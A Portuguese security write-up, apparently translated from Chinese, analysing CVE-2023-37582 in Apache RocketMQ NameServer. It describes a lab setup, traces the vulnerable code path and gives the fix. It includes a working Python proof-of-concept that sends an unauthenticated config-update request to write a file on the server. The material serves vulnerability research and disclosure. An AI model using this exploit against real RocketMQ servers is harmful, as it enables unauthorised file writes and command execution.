Perfil de Vulnerabilidade
O Apache RocketMQ é um middleware de mensagens distribuídas com baixa latência, alta simultaneidade, alta disponibilidade e alta confiabilidade. No CVE-2023-37582, devido ao reparo imperfeito do CVE-2023-33246, quando há acesso não autorizado ao Apache RocketMQ NameServer, o invasor pode construir uma solicitação maliciosa para executar comandos como o usuário do sistema executando o RocketMQ.
Versão afetada
Apache RocketMQ <= 5.1.1
Apache RocketMQ <= 4.9.6
Construção do ambiente
Consulte a Vulnerabilidade de execução remota de código do Apache RocketMQ CVE-2023-33246 Configuração do ambiente
Ainda para a conveniência da depuração, construímos serviços relacionados ao RocketMQ no Linux e usamos o código-fonte para iniciar
Um total de dois serviços precisam estar em execução
org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup
Primeiro inicie o NamesrvStartup, depois inicie o BrokerStartup e você precisa configurar a variável de ambiente ROCKETMQ_HOME
ROCKETMQ_HOME=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0
Recorrência de vulnerabilidade
executar script python
import socket
import binascii
client = socket.socket()
# you ip
client.connect(('192.168.222.130',9876))
# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:] # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
Escreva com sucesso o teste de string especificado no arquivo test.txt no diretório tmp
Análise de Vulnerabilidade
org/apache/rocketmq/remoting/protocol/RequestCode.java
código significa chamar funções diferentes, neste momento, a operação de configuração de atualização 318 é chamada
src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java
De acordo com o código correspondente, a função correspondente será chamada para processamento
src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java
src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig
src/main/java/org/apache/rocketmq/remoting/Configuration.java#update
Primeiro determine se é um atributo controlável
src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist
src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath
Chamada getStorePath
para obter o caminho do arquivo, e o valor obtido neste momento é o valor de configStorePath
src/main/java/org/apache/rocketmq/common/MixAll.java#string2File
src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe
src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile
Correções de bugs
Modifique o parâmetro que desabilita a modificação do caminho de configuração
Chamada para manuscritos originais
Chamada para artigos técnicos originais, bem-vindo ao postar
E-mail de envio: [email protected]
Tipo de artigo: tecnologia hacker geek, pontos de acesso de segurança da informação, pesquisa e análise de segurança, etc.
Se você passar na revisão e publicá-la, poderá obter uma remuneração que varia de 200 a 800 yuans.
Para mais detalhes, clique em mim para ver!
Prática de campo de tiro, clique em "Leia o texto original"